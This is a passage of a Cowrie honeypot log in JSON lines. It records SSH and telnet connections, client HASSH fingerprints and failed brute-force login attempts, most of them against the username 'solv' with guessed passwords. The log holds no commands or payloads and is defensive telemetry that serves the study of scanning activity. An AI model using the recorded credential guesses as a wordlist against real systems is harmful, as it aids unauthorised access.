{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:23:34.054746Z","src_ip":"84.239.42.8","session":"c03ccab10718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"12345","message":"login attempt [Admin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:23:34.556985Z","src_ip":"84.239.42.8","session":"c03ccab10718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:23:35.689074Z","src_ip":"84.239.42.8","session":"c03ccab10718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":43898,"dst_ip":"10.17.0.5","dst_port":22,"session":"96a3167c7e18","protocol":"ssh","message":"New connection: 80.94.92.184:43898 (10.17.0.5:22) [session: 96a3167c7e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:24:32.719342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:24:32.806113Z","src_ip":"80.94.92.184","session":"96a3167c7e18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:24:32.998791Z","src_ip":"80.94.92.184","session":"96a3167c7e18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv321","message":"login attempt [solv/solv321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:24:34.051119Z","src_ip":"80.94.92.184","session":"96a3167c7e18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:24:35.381499Z","src_ip":"80.94.92.184","session":"96a3167c7e18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38754,"dst_ip":"159.203.135.109","dst_port":22,"session":"127506891a65","protocol":"ssh","message":"New connection: 2.57.122.208:38754 (159.203.135.109:22) [session: 127506891a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:25:43.560116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:25:43.654595Z","src_ip":"2.57.122.208","session":"127506891a65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:25:43.853277Z","src_ip":"2.57.122.208","session":"127506891a65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:25:44.823801Z","src_ip":"2.57.122.208","session":"127506891a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:25:46.253699Z","src_ip":"2.57.122.208","session":"127506891a65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":46772,"dst_ip":"10.17.0.5","dst_port":22,"session":"03ee3d31f4a0","protocol":"ssh","message":"New connection: 80.94.92.184:46772 (10.17.0.5:22) [session: 03ee3d31f4a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:27:36.976224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:27:37.067691Z","src_ip":"80.94.92.184","session":"03ee3d31f4a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:27:37.281811Z","src_ip":"80.94.92.184","session":"03ee3d31f4a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv@123","message":"login attempt [solv/solv@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:27:38.751942Z","src_ip":"80.94.92.184","session":"03ee3d31f4a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:27:40.140015Z","src_ip":"80.94.92.184","session":"03ee3d31f4a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":63792,"dst_ip":"10.17.0.5","dst_port":22,"session":"90cbeb9c915a","protocol":"ssh","message":"New connection: 176.65.132.190:63792 (10.17.0.5:22) [session: 90cbeb9c915a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:28:01.594976Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:28:01.603670Z","src_ip":"176.65.132.190","session":"90cbeb9c915a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":49620,"dst_ip":"10.17.0.5","dst_port":22,"session":"17fe105e8634","protocol":"ssh","message":"New connection: 80.94.92.184:49620 (10.17.0.5:22) [session: 17fe105e8634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:30:55.227082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:30:55.280760Z","src_ip":"80.94.92.184","session":"17fe105e8634","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:30:55.472723Z","src_ip":"80.94.92.184","session":"17fe105e8634","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"abc123","message":"login attempt [solv/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:30:56.743639Z","src_ip":"80.94.92.184","session":"17fe105e8634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:30:58.085443Z","src_ip":"80.94.92.184","session":"17fe105e8634","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.152.111.179","src_port":41366,"dst_ip":"10.17.0.5","dst_port":23,"session":"57ee45d88fe0","protocol":"telnet","message":"New connection: 46.152.111.179:41366 (10.17.0.5:23) [session: 57ee45d88fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:31:32.623411Z"}
{"eventid":"cowrie.session.closed","duration":13.495667457580566,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:31:46.118782Z","src_ip":"46.152.111.179","session":"57ee45d88fe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.226.120.225","src_port":45309,"dst_ip":"10.17.0.5","dst_port":23,"session":"23f881324de8","protocol":"telnet","message":"New connection: 45.226.120.225:45309 (10.17.0.5:23) [session: 23f881324de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:32:58.266253Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.2.233.215","src_port":3550,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8b077762ad9","protocol":"telnet","message":"New connection: 185.2.233.215:3550 (10.17.0.5:23) [session: f8b077762ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:33:06.496466Z"}
{"eventid":"cowrie.session.closed","duration":13.000651359558105,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:33:19.496989Z","src_ip":"185.2.233.215","session":"f8b077762ad9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.685996294021606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:33:28.952175Z","src_ip":"45.226.120.225","session":"23f881324de8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52460,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e0724885105","protocol":"ssh","message":"New connection: 80.94.92.184:52460 (10.17.0.5:22) [session: 1e0724885105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:34:15.092295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:34:15.223959Z","src_ip":"80.94.92.184","session":"1e0724885105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:34:15.228246Z","src_ip":"80.94.92.184","session":"1e0724885105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"validator","message":"login attempt [solv/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:34:16.037485Z","src_ip":"80.94.92.184","session":"1e0724885105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:34:17.348504Z","src_ip":"80.94.92.184","session":"1e0724885105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":56240,"dst_ip":"159.203.135.109","dst_port":23,"session":"6259671312f1","protocol":"telnet","message":"New connection: 199.103.57.63:56240 (159.203.135.109:23) [session: 6259671312f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:34:51.674159Z"}
{"eventid":"cowrie.session.closed","duration":35.501137495040894,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:35:27.175204Z","src_ip":"199.103.57.63","session":"6259671312f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55340,"dst_ip":"10.17.0.5","dst_port":22,"session":"11e1b25c8586","protocol":"ssh","message":"New connection: 80.94.92.184:55340 (10.17.0.5:22) [session: 11e1b25c8586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:37:34.111951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:37:34.139501Z","src_ip":"80.94.92.184","session":"11e1b25c8586","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:37:34.262618Z","src_ip":"80.94.92.184","session":"11e1b25c8586","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"banx","message":"login attempt [solv/banx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:37:35.649930Z","src_ip":"80.94.92.184","session":"11e1b25c8586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:37:37.069727Z","src_ip":"80.94.92.184","session":"11e1b25c8586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36080,"dst_ip":"10.17.0.5","dst_port":22,"session":"36433e3fc32e","protocol":"ssh","message":"New connection: 87.251.64.176:36080 (10.17.0.5:22) [session: 36433e3fc32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:38:48.595261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:38:48.599101Z","src_ip":"87.251.64.176","session":"36433e3fc32e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-